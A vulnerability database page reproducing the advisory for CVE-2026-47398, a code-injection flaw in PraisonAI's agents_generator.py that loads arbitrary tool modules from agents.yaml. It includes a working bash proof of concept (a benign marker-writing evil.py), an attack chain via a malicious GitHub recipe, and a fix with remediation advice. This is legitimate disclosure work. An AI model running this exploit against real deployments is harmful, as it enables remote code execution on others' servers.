Skip to main content

PraisonAI CVE-2026-47398

HIGH
Code Injection (CWE-94)
2026-05-29 https://github.com/MervinPraison/PraisonAI GHSA-78r8-wwqv-r299
8.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 29, 2026 - 22:50 vuln.today
Analysis Generated
May 29, 2026 - 22:50 vuln.today
CVE Published
May 29, 2026 - 22:26 nvd
HIGH 8.1

DescriptionGitHub Advisory

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | - | unfixed | Missed sinks in agents_generator.py

<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python">

praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path):

...

349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module)

← NO gate

372 def load_tools_from_module_class(self, module_path):

... (same pattern - spec_from_file_location → exec_module, no gate)

</code></pre> <p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> - same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> - same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> - an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:&lt;attacker&gt;/&lt;repo&gt;/&lt;recipe&gt;"} │ ▼ Recipe fetched → agents.yaml contains: tools:

  • module_path: ./evil.py

colocated in recipe dir

│ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash

Requires: pip install praisonai (any version &gt;= 2.0.0, &lt;= 4.6.37)

set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat &gt; "$WORKDIR/evil.py" &lt;&lt; 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat &gt; "$WORKDIR/agents.yaml" &lt;&lt; 'YAMLEOF' framework: praisonai topic: "PoC - agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools:

  • evil.py

YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass

downstream failure expected; exec_module already fired

"

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2&gt;/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS - marker file written by server process:" cat "$MARKER" else echo "FAIL - marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction - before any LLM interaction - so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions - at minimum <code>&gt;= 2.0.0, &lt;= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return []

... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return []

... existing logic ...

</code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen &amp; Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVEGHSAFixed inWhat was patched
CVE-2026-40156GHSA-2g3w-cpc4-chr44.5.128CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287GHSA-g985-wjh9-qxxc4.5.139Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334GHSA-xcmw-grxf-wjhj4.6.32Missed sink in templates/tool_override.py
This finding-unfixedMissed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

python
# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
# ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)
# ← NO gate

372    def load_tools_from_module_class(self, module_path):
# ...  (same pattern - spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  1. Attacker-controlled via shared/writable config directory - same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch - same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  3. Attacker-influenced via prompt injection - an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py
# colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

bash
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF
# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC - agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF
# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass
# downstream failure expected; exec_module already fired
"
# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS - marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL - marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction - before any LLM interaction - so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions - at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

python
import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
# ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
# ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

AnalysisAI

Remote code execution in PraisonAI versions 2.0.0 through 4.6.39 allows attackers to execute arbitrary Python code via two unguarded spec.loader.exec_module call sites in agents_generator.py. The flaw is a sibling of CVE-2026-44334: the v4.6.32 chokepoint refactor added a PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to tool_override.py but missed the load_tools_from_module and load_tools_from_module_class sinks, which load arbitrary module paths from YAML agent configuration without validation. Publicly available exploit code exists (working PoC published with the advisory) and a fixed release is available in 4.6.40.

Technical ContextAI

PraisonAI is a Python framework for orchestrating LLM-based agents distributed via PyPI (pkg:pip/praisonai). The vulnerability sits in praisonai/agents_generator.py, where load_tools_from_module() and load_tools_from_module_class() use importlib.util.spec_from_file_location() followed by spec.loader.exec_module() against a module_path parameter that originates from user-supplied agents.yaml tool definitions. This is a textbook CWE-94 Code Injection issue, compounded by CWE-426 (Untrusted Search Path) and CWE-829 (Inclusion of Functionality from Untrusted Control Sphere): Python's importlib machinery executes module-level code immediately on exec_module(), so the payload fires during tool registry construction before any LLM call or authentication step. The same pattern was the root cause of the prior CVE-2026-40156, CVE-2026-40287, and CVE-2026-44334 chain, each of which patched a subset of exec_module sinks but missed these two.

RemediationAI

Vendor-released patch: PraisonAI 4.6.40 - upgrade with 'pip install --upgrade praisonai>=4.6.40' and confirm both load_tools_from_module and load_tools_from_module_class in agents_generator.py honor the PRAISONAI_ALLOW_LOCAL_TOOLS gate before relying on the fix. As compensating controls until the upgrade is deployed: do not expose the PraisonAI recipe server (POST /v1/recipes/run) to untrusted networks and place it behind authenticated reverse-proxy access; set allow_any_github=False to block arbitrary GitHub recipe fetching (trade-off: legitimate remote recipes will need an allowlist); refuse to load agents.yaml from shared/writable directories or from any source the operator does not control end-to-end (trade-off: breaks multi-tenant config drops); and ensure PRAISONAI_ALLOW_LOCAL_TOOLS is unset or not 'true' in untrusted-input deployments, recognizing that on vulnerable releases this gate does not actually cover the agents_generator.py sinks. See the advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299 for the full upstream guidance.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-47398 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy